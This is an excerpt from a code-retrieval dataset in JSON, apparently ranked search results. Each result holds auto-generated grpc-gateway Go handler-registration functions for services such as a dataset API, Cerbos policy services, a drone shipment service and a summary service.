cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_UpdateDatasetField_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_UpdateDatasetField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DatasetService_UpdateCurrentDatasetVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_UpdateCurrentDatasetVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_UpdateCurrentDatasetVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_DatasetService_DeleteDataset_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_DeleteDataset_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_DeleteDataset_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DatasetService_CreateNewDatasetVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_CreateNewDatasetVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_CreateNewDatasetVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_DatasetService_GetDatasetVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_GetDatasetVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_GetDatasetVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DatasetService_UpdateDatasetVersionStatus_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_UpdateDatasetVersionStatus_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_UpdateDatasetVersionStatus_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DatasetService_UpdateDatasetVersionField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_UpdateDatasetVersionField_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_UpdateDatasetVersionField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DatasetService_AddObjectGroupToDatasetVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_AddObjectGroupToDatasetVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_AddObjectGroupToDatasetVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_DatasetService_DeleteDatasetVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_DeleteDatasetVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_DeleteDatasetVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_DatasetService_DatasetVersionObjectGroups_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_DatasetVersionObjectGroups_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_DatasetVersionObjectGroups_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "08decab2e26bc9f48d6250d81845a4e0", "score": "0.6447428", "text": "func RegisterCerbosServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server CerbosServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_CerbosService_CheckResourceSet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/cerbos.svc.v1.CerbosService/CheckResourceSet\", runtime.WithHTTPPathPattern(\"/api/check\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CerbosService_CheckResourceSet_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CerbosService_CheckResourceSet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CerbosService_CheckResourceBatch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/cerbos.svc.v1.CerbosService/CheckResourceBatch\", runtime.WithHTTPPathPattern(\"/api/check_resource_batch\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CerbosService_CheckResourceBatch_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CerbosService_CheckResourceBatch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CerbosService_ServerInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/cerbos.svc.v1.CerbosService/ServerInfo\", runtime.WithHTTPPathPattern(\"/api/server_info\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CerbosService_ServerInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CerbosService_ServerInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "016158f44650304a0e23f97edb53d355", "score": "0.6435437", "text": "func RegisterCerbosAdminServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server CerbosAdminServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_CerbosAdminService_AddOrUpdatePolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/cerbos.svc.v1.CerbosAdminService/AddOrUpdatePolicy\", runtime.WithHTTPPathPattern(\"/admin/policy\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CerbosAdminService_AddOrUpdatePolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CerbosAdminService_AddOrUpdatePolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_CerbosAdminService_AddOrUpdatePolicy_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/cerbos.svc.v1.CerbosAdminService/AddOrUpdatePolicy\", runtime.WithHTTPPathPattern(\"/admin/policy\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CerbosAdminService_AddOrUpdatePolicy_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CerbosAdminService_AddOrUpdatePolicy_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CerbosAdminService_ListAuditLogEntries_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"GET\", pattern_CerbosAdminService_ListPolicies_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/cerbos.svc.v1.CerbosAdminService/ListPolicies\", runtime.WithHTTPPathPattern(\"/admin/policy/list\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CerbosAdminService_ListPolicies_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CerbosAdminService_ListPolicies_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "3d4cd4d56022f4e76cbf43ab923702f9", "score": "0.6410731", "text": "func RegisterDroneServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server DroneServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_DroneService_CreateShipment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DroneService_CreateShipment_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DroneService_CreateShipment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_DroneService_GetShipment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DroneService_GetShipment_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DroneService_GetShipment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "af4c70c4df3bb91b02c407a366c6ff39", "score": "0.6409742", "text": "func RegisterCerbosPlaygroundServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server CerbosPlaygroundServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_CerbosPlaygroundService_PlaygroundValidate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/cerbos.svc.v1.CerbosPlaygroundService/PlaygroundValidate\", runtime.WithHTTPPathPattern(\"/api/playground/validate\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CerbosPlaygroundService_PlaygroundValidate_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CerbosPlaygroundService_PlaygroundValidate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CerbosPlaygroundService_PlaygroundEvaluate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/cerbos.svc.v1.CerbosPlaygroundService/PlaygroundEvaluate\", runtime.WithHTTPPathPattern(\"/api/playground/evaluate\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CerbosPlaygroundService_PlaygroundEvaluate_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CerbosPlaygroundService_PlaygroundEvaluate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CerbosPlaygroundService_PlaygroundProxy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/cerbos.svc.v1.CerbosPlaygroundService/PlaygroundProxy\", runtime.WithHTTPPathPattern(\"/api/playground/proxy\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CerbosPlaygroundService_PlaygroundProxy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CerbosPlaygroundService_PlaygroundProxy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "f0354bb805f3be5a79fcf117f219f0c8", "score": "0.6408939", "text": "func RegisterSummaryServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server SummaryServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_SummaryService_CreateSummary_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_SummaryService_CreateSummary_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_SummaryService_CreateSummary_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_SummaryService_FindSummary_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_SummaryService_FindSummary_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, 